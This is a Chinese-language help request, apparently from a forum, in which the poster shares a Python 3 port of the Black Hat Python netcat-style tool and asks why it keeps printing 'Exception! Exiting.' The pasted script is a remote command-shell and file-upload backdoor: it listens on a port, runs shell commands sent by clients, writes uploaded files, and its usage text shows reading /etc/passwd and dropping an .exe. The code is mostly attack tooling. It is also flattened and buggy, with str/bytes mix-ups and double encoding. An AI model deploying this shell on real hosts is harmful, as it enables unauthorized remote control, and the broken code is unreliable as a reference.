我已经将Black Hat Python书中的一些代码转换为Python 3，但在运行它时，我总是得到“异常退出！”＃39;错误。
我一直试图通过发送EOF向命令发送命令，然后发送命令 import sys
import socket
import getopt
import threading
import subprocess
#global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("Loif Net TOol\n")
print("Usage: loifnet.py -t target_host -p port")
print("""-l --listen - listen on [host]:[port] for
incoming connections.""")
print("""-e --execute=file_to_run - execute the given file upon
receiving a connection""")
print ("""-c --command - initialize a command shell""")
print ("""-u --upload=destination - upon receiving connection upload a
file and write to [destination]""")
print("\n\n")
print("""Examples of use are as follows:
loifnet.py -t 192.168.0.2 -p 5555 -l -c
loifnet.py -t 192.168.0.2 -p 5555 -l -u=c:\\target.exe
loifnet.py -t 192.168.0.2 -p 5555 -l -e=\"cat /etc/passwd\"
"echo 'ABCDEFGHI' | ./loifnet.py -t 192.168.11.12 -p 135""")
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#read commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print (str(err))
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
#are we going to listen or just sent data from stdin
if not listen and len(target) and port >0:
#read in buffer from commandline
#this will block so send ctrl-d if not sending input
#to stdin
buffer = sys.stdin.read()
#send data off
client_sender(buffer.encode())
#we'll be listening and potentially uploading, executing and
#dropping shells back; depending on commandline options
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to target
client.connect((target,port))
if len(buffer):
client.send(buffer.encode())
while True:
#wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
#wait for more input
buffer = input("")
buffer += "\n"
#send it off
client.send(buffer.encode())
except:
print("[*] Exception! Exiting.")
#tear down connection
client.close()
def server_loop():
global target
#if target isn't defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#spin off threat to handle new client
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
def run_command(command):
#trim newline
command = command.rstrip()
#run command, get output back
try:
output = subprocess.check_output(command,stderr=subprocess.
STDOUT, shell=True)
except:
output = ("Failed to execute command.\r\n")
#send output back to client
return output
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
#read in all bytes and write to destination
file_buffer = ""
#keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
#try to write bytes out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#acknowledge that bytes have been written out
msg = ("Successfully saved file to %s\r\n" % upload_destination)
client_socket.send(msg.encode())
except:
fmsg = ("Failure to save file to %s\r\n" % upload_destination)
client_socket.send(fmsg.encode())
#check for command execution
if len(execute):
#run command
output = run_command(execute)
client_socket.send(output.encode())
#enter another loop if command shell is requested
if command:
while True:
#show simple prompt
prmsg = ("<LHP:#> ")
client_socket.send(prmsg.encode())
#receive until we see a linefeed
#enter key
cmd_buffer = ("")
while "\n" not in cmd_buffer:
cmd_buffer += (client_socket.recv(1024))
#send back command output
response = run_command(cmd_buffer)
#send back response
client_socket.send(response.encode())
main()